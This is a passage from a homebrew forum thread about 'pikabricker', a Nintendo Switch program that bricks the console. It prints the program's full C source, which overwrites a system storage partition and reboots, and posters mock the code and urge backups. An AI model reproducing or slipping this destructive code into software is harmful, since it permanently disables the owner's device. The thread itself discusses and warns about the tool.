Homebrew COMPLETED How pikabricker works

  • Thread starter Thread starter midstor
  • Start date Start date
  • Views Views 17,333
  • Replies Replies 71
  • Likes Likes 14
only two ways to find out:
1) RE the heck out of all the things that request data from cal0
2) just try it
 
He also sent me its source code:
Code:
#include "bpc.h"
#include <stdlib.h>
#include <switch.h>
int main(int argc, char **argv){
   FsStorage store;
   fsOpenBisStorage(&store, 27);
   bpcInitialize();
   char * buf = malloc(0x5000);
    for ( int i = 0; i< 1000; i=i+5 ) {
        buf[i] = '8';
        buf[i+1] = '0';
        buf[i+2] = '0';
        buf[i+3] = '8';
        buf[i+4] = '5'; }
fsStorageWrite(&store, 0, buf, 0x5000);
    fsStorageClose(&store);
    free(buf);
    bpcRebootSystem();
}

It's utterly horrendously written code.

There's just something funny about freeing used memory after bricking it. The console is obviously not going to benefit from the freed memory (it's bricked for a start) but it still amuses me that they've actually thought about the code while writing it.
 
To anybody that uses nsp and don't know if they have malware, try scan them with some helpful tools (idk which ones))
 
To anybody that uses nsp and don't know if they have malware, try scan them with some helpful tools (idk which ones))

It won't bring anything up. That brick code isn't seen as malware.

You'll have to do the smart thing and actually backup your Switch and listen to other users before installing random junk off the internet instead.
 
There's just something funny about freeing used memory after bricking it. The console is obviously not going to benefit from the freed memory (it's bricked for a start) but it still amuses me that they've actually thought about the code while writing it.
A bit like why do they use sterile wipes to clean the skin just before a lethal injection?
 
  • Like
Reactions: normal19
There's just something funny about freeing used memory after bricking it. The console is obviously not going to benefit from the freed memory (it's bricked for a start) but it still amuses me that they've actually thought about the code while writing it.

I'm sure good programming habits are hard to break... eh, who am I kidding, no one has those.
 
Nice writeup Midstor, now I know precisely the way it doesn't work. So at least that's one less possibility I can check off the list :)
 
Nice writeup Midstor, now I know precisely the way it doesn't work. So at least that's one less possibility I can check off the list :)
Any info was directly from OG (the dev of the brick code) so don't give me fucking sass on it fuckin hell
 

Site & Scene News

Popular threads in this forum